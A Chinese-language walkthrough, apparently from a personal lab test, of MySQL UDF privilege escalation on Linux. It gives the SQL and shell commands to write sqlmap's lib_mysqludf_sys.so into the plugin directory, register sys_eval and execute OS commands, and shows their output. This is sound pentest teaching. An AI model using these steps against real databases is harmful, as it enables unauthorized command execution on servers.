Linux UDF Mysql提权

通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。

要求:在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止;

过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令。

  1. 得到插件库路径
$ show variables like "%plugin%";
+---------------+-----------------------+
| Variable_name | Value |
+---------------+-----------------------+
| plugin_dir | /usr/lib/mysql/plugin |
+---------------+-----------------------+
1 row in set (0.00 sec)
  1. 找对应操作系统的udf库文件,因为自己测试,看了下自己系统的版本,64位, 对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可.
root@bt:/pentest/database/sqlmap/udf/mysql# ls
linux windows
root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls
32 64
root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls
lib_mysqludf_sys.so
  1. 利用udf库文件加载函数并执行命令.首先要得到udf库文件的十六进制格式,可在本地获取:
select hex(load_file(‘/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so’)) into outfile ‘/tmp/udf.txt';
Query OK, 1 row affected (0.04 sec)
  1. 数据库中写入udf库到mysql库目录:
select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';
Query OK, 1 row affected (0.04 sec)

查看下这个udf库所支持的函数:

root@bt:~# nm -D /usr/lib/mysql/plugin/mysqludf.so
w _Jv_RegisterClasses
0000000000201788 A __bss_start
w __cxa_finalize
w __gmon_start__
0000000000201788 A _edata
0000000000201798 A _end
0000000000001178 T _fini
0000000000000ba0 T _init
U fgets
U fork
U free
U getenv
000000000000101a T lib_mysqludf_sys_info
0000000000000da4 T lib_mysqludf_sys_info_deinit
0000000000001047 T lib_mysqludf_sys_info_init
U malloc
U mmap
U pclose
U popen
U realloc
U setenv
U strcpy
U strncpy
0000000000000dac T sys_bineval
0000000000000dab T sys_bineval_deinit
0000000000000da8 T sys_bineval_init
0000000000000e46 T sys_eval
0000000000000da7 T sys_eval_deinit
0000000000000f2e T sys_eval_init
0000000000001066 T sys_exec
0000000000000da6 T sys_exec_deinit
0000000000000f57 T sys_exec_init
00000000000010f7 T sys_get
0000000000000da5 T sys_get_deinit
0000000000000fea T sys_get_init
000000000000107a T sys_set
00000000000010e8 T sys_set_deinit
0000000000000f80 T sys_set_init
U sysconf
U system
U waitpid
U system
U waitpid
  1. 最后,加载函数并执行:
create function sys_eval returns string soname "mysqludf.so";
Query OK, 0 rows affected (0.14 sec)
select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql |
+--------------------+
1 row in set (0.04 sec)
select * from mysql.func;
+----------+-----+-------------+----------+
| name | ret | dl | type |
+----------+-----+-------------+----------+
| sys_eval | 0 | mysqludf.so | function |
+----------+-----+-------------+----------+
1 row in set
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